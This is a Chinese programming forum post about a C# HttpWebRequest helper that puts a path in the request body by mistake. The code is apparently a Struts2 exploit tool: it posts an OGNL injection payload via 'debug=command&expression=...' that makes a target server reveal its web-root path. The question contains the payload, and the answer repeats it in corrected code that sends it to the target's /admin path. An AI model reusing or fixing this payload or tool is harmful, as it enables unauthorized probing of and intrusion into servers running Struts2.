c# HttpWebRequest 为什么会给URL自动加?号

c# HttpWebRequest 为什么会给URL自动加?号

问题描述:

        public String getHtml(String url, String data, String htmlEncode)
        {
            try
            {
                //设置模拟http访问参数
                Uri uri = new Uri(url);
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
                request.UserAgent = "Mozilla/5.0";
                request.Accept = "*/*";
                request.Method = "POST";
                request.Timeout = 40000;
                request.KeepAlive = true;
                request.AllowAutoRedirect = true;
                request.ContentType = "application/x-www-form-urlencoded";
                if (!"".Equals(this.txt_cookie.Text))
                {
                    request.Headers.Add("Cookie", this.txt_cookie.Text);
                }

                Byte[] b = Encoding.ASCII.GetBytes(data);
                request.ContentLength = b.Length;
                Stream stream = request.GetRequestStream();

                stream.Write(b, 0, b.Length);
                stream.Close();
                StreamReader sr = new StreamReader(request.GetResponse().GetResponseStream(), Encoding.GetEncoding(htmlEncode));
                String html = sr.ReadToEnd().Replace("\n","\r\n");
                return html;

            }
            catch (Exception e)
            {
                loginfo(e.Message);
                //MessageBox.Show(e.Message);
            }
            return "";
        }
        public void getInfo() {
            loginfo("正在获取Web信息,请稍等片刻........");
            String exp = "/admin";
            if (this.radb_s19.Checked)
            {

                exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
            }

            String html = getHtml(this.txt_url.Text, exp, "UTF-8");
            this.txt_info.Text = html;

如果txt_url.Text为http://www.1.com/ String exp的内容问 /admin

程序会访问的地址则是http://www.1.com/?admin

我想知道这个?号是哪里来的。。。 能不能取消掉。。0 0。。 嘿嘿

你看看你的getHtml函数的第二个参数是什么,是提交表单的数据,你使用String html = getHtml(this.txt_url.Text, exp, "UTF-8");调用,自然把String exp = "/admin";作为表单数据,而不是请求路径了。路径是第一个参数。
你的exp变量和"/admin"到底是想传递什么?如果你是想把 exp = "debug=command&expression...这些数据提交到网站的/admin去,那么

        public void getInfo() {
            loginfo("正在获取Web信息,请稍等片刻........");
            String path = "/admin";
                        String exp = "";
            if (this.radb_s19.Checked)
            {

                exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
            }

            String html = getHtml(this.txt_url.Text + path, exp, "UTF-8");
            this.txt_info.Text = html;